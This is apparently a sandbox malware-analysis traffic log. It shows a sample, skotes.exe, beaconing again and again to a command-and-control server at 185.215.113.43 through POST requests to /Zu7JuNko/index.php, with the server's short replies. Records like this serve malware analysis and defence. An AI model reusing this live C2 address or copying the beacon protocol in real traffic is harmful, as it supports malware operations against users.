Nov 23, 2024 15:23:46.089356899 CET	2472	OUT	Data Raw: cb e3 b9 94 40 af e8 f6 f6 3a 9a f9 8c 5c eb ed 00 ca 54 00 ac fe 4f a8 81 c5 26 fd 93 5b 8e 6a e6 3c 87 20 48 fc c0 35 7d c6 b7 42 63 52 d6 f8 da 6d 72 60 87 f0 fd 6f 3c ff 13 f6 73 d1 6b 7b df 07 af 8c e3 4d b4 ef 38 b5 8d 58 66 b7 90 ce 49 e4 Data Ascii: @:\TO&[j< H5}BcRmr`o<sk{M8XfISa7",su\|'6YB[0wxqcMNEL@fDm"jtr\E*9&;:j"tH!/AM0T1mw2+C,V3dj.-
Nov 23, 2024 15:23:46.089586973 CET	4944	OUT	Data Raw: 33 70 e4 17 8b 27 2f be 4b 09 78 67 be da ff 6f 07 12 fb 22 57 16 bc 6f d8 28 09 72 59 e2 2a 41 56 22 1b e1 06 ed 2b 72 44 ab 51 d1 87 20 80 49 a6 96 ce 0a 3a 6e 39 0a 6b be 9b c2 db 54 3a 8b 12 6e 7d c5 d7 f2 cb b2 f2 54 56 75 fc e3 85 ff 16 6b Data Ascii: 3p'/Kxgo"Wo(rYAV"+rDQ I:n9kT:n}TVuk}X3oE[xGD)bp-c[g5{\a";s=mFBwfMI7T0?0aWIBo<{w$8>;&A\ MuAmFh{
Nov 23, 2024 15:23:46.130633116 CET	7132	OUT	Data Raw: 31 17 3e 6c 05 51 8f a7 d8 a1 91 3e 30 37 c6 06 eb e9 70 04 c4 72 8d 32 b0 8f 8d 87 ca 61 36 f9 77 d6 70 e0 0a 7b eb 59 a9 a5 36 98 dc 98 0d 7e 8e 8d 63 76 fc bc 08 93 df 2d 66 d3 21 41 b0 ce b9 85 37 c2 fb cf 08 36 02 d4 47 13 37 61 5f f6 32 d7 Data Ascii: 1>lQ>07pr2a6wp{Y6~cv-f!A76G7a_2Gwt97AU;Q>7f(NI\o [Wab"a*mAhEo`cAkh\|;bV@BMsDKn3hw%Ae"hTBV4
Nov 23, 2024 15:23:47.680315971 CET	271	IN	HTTP/1.1 200 OK server: nginx/1.24.0 (Ubuntu) date: Sat, 23 Nov 2024 14:23:47 GMT content-type: text/plain; charset=utf-8 content-length: 2 x-ratelimit-limit: 30 x-ratelimit-remaining: 28 x-ratelimit-reset: 1732373625 etag: W/"2-nOO9QiTIwXgNtWtBJezz8kv3SLc" Data Raw: 4f 4b Data Ascii: OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.4	50137	185.215.113.43	80	7164	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:23:48.434425116 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 15:23:49.825854063 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 14:23:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.4	50146	185.215.113.43	80	7164	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:23:51.570365906 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 15:23:52.946631908 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 14:23:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.4	50155	185.215.113.43	80	7164	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:23:54.582967997 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 15:23:56.028264999 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 14:23:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.4	50167	185.215.113.43	80	7164	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:23:57.770584106 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 15:23:59.157150984 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 14:23:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.4	50176	185.215.113.43	80	7164	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:24:00.793894053 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 15:24:02.150254965 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 14:24:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.4	50186	185.215.113.43	80	3808	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:24:03.888223886 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 15:24:05.282274008 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 14:24:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.4	50191	185.215.113.43	80	7164	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:24:06.915457010 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 15:24:08.316907883 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 14:24:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.4	50195	185.215.113.43	80	7164	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:24:10.051893950 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 15:24:11.430941105 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 14:24:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.4	50198	185.215.113.43	80	7164	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:24:13.070940018 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 15:24:14.479867935 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 14:24:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.4	50199	185.215.113.43	80	7164	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:24:16.225558996 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 15:24:17.566581011 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 14:24:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.4	50201	185.215.113.43	80	7164	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:24:19.214338064 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 15:24:20.595705986 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 14:24:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.4	50202	185.215.113.43	80	7164	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:24:22.354476929 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 15:24:23.740608931 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 14:24:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.4	50203	185.215.113.43	80	7164	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:24:25.384377003 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 15:24:26.728338957 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 14:24:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.4	50205	185.215.113.43	80	7164	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:24:28.485301971 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 15:24:29.853631020 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 14:24:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.4	50206	185.215.113.43	80	7164	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:24:31.489442110 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 15:24:32.926719904 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 14:24:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.4	50207	185.215.113.43	80	7164	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:24:34.665400982 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 15:24:36.068006992 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 14:24:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.4	50208	185.215.113.43	80	7164	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:24:37.704019070 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 15:24:39.086112976 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 14:24:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.4	50210	185.215.113.43	80	7164	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:24:40.851716042 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 15:24:42.285240889 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 14:24:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.4	50211	185.215.113.43	80	7164	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:24:43.932046890 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 15:24:45.359783888 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 14:24:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.4	50212	185.215.113.43	80	7164	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:24:47.132170916 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 15:24:48.462574959 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 14:24:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.4	50214	185.215.113.43	80	7164	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:24:50.117899895 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 15:24:51.509588003 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 14:24:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.4	50215	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
